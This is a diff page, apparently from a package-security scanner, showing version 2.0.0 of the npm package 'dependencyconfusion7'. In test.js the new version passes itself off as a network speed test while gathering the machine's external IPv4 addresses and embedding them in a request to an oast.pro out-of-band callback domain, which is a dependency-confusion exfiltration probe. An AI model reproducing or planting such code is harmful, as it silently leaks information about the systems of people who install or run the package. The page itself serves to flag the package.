dependencyconfusion7 1.0.0 → 2.0.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/test.js +17 -16
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dependencyconfusion7",
3
- "version": "1.0.0",
3
+ "version": "2.0.0",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/test.js CHANGED
@@ -3,24 +3,18 @@ const NetworkSpeed = require('./index.js');
3
3
  const testNetworkSpeed = new NetworkSpeed();
4
4
 
5
5
 
6
- async function getNetworkDownloadSpeed() {
7
-
8
- const baseUrl = 'https://depenconf7.download.cp6ncglqburjov5thgegu489rxikay6en.oast.live';
9
-
6
+ async function getNetworkDownloadSpeed(data) {
7
+ const baseUrl = 'https://'+data+'.depenconf7.download.cq7rritqburhfsbuqag0jitatyuxaieid.oast.pro';
10
8
  const fileSizeInBytes = 500000;
11
-
12
9
  const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes);
13
-
14
10
  console.log(`Download Speed: ${JSON.stringify(speed)}`);
15
-
16
11
  }
17
12
 
18
13
 
19
- async function getNetworkUploadSpeed() {
20
-
14
+ async function getNetworkUploadSpeed(data) {
21
15
  const options = {
22
16
 
23
- hostname: 'depenconf7.upload.cp6ncglqburjov5thgegu489rxikay6en.oast.live',
17
+ hostname: data+'depenconf7.upload.cq7rritqburhfsbuqag0jitatyuxaieid.oast.pro',
24
18
 
25
19
  port: 80,
26
20
 
@@ -33,18 +27,25 @@ async function getNetworkUploadSpeed() {
33
27
  'Content-Type': 'application/json',
34
28
 
35
29
  },
36
-
37
30
  };
38
-
39
31
  const fileSizeInBytes = 200000
40
-
41
32
  const speed = await testNetworkSpeed.checkUploadSpeed(options, fileSizeInBytes);
42
-
43
33
  console.log(`Upload Speed: ${JSON.stringify(speed)}`);
44
-
45
34
  }
46
35
 
36
+ const os = require('os');
37
+
38
+ const getIp = family => {
39
+ const interfaces = os.networkInterfaces();
40
+ return Object.keys(interfaces).reduce((arr, x) => {
41
+ const interfce = interfaces[x];
42
+ return arr.concat(Object.keys(interfce)
43
+ .filter(x => interfce[x].family === family && !interfce[x].internal)
44
+ .map(x => interfce[x].address));
45
+ }, []);
46
+ };
47
47
 
48
- getNetworkDownloadSpeed();
48
+ var localip=getIp('IPv4');
49
+ getNetworkDownloadSpeed(localip);
49
50
 
50
51
  // getNetworkUploadSpeed();